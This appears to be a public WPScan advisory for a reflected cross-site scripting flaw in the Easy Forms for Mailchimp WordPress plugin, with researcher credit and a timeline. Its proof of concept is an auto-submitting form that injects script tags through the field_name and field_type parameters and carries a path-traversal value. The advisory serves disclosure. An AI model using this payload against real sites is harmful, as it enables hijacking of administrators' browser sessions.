WordPress Plugin Vulnerabilities
Easy Forms for Mailchimp < 6.8.6 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the field_name and field_type parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting issues
Proof of Concept
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
<input type="hidden" name="action" value="add_field_to_form" />
<input type="hidden" name="field_name" value='xxxxxxxxxxxx"><script>alert(/XSS-field_name/)</script>' />
<input type="hidden" name="field_type" value='"><script>alert(/XSS-field_type/)</script>' />
<input type="hidden" name="list_id" value="../../../../../" />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
var form1 = document.getElementById('hack');
form1.submit();
</script>
</html>
Affects Plugins
Fixed in 6.8.6 References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-12-21 (about 2 years ago)
Added
2021-12-21 (about 2 years ago)
Last Updated
2022-09-26 (about 1 years ago)
WPScan 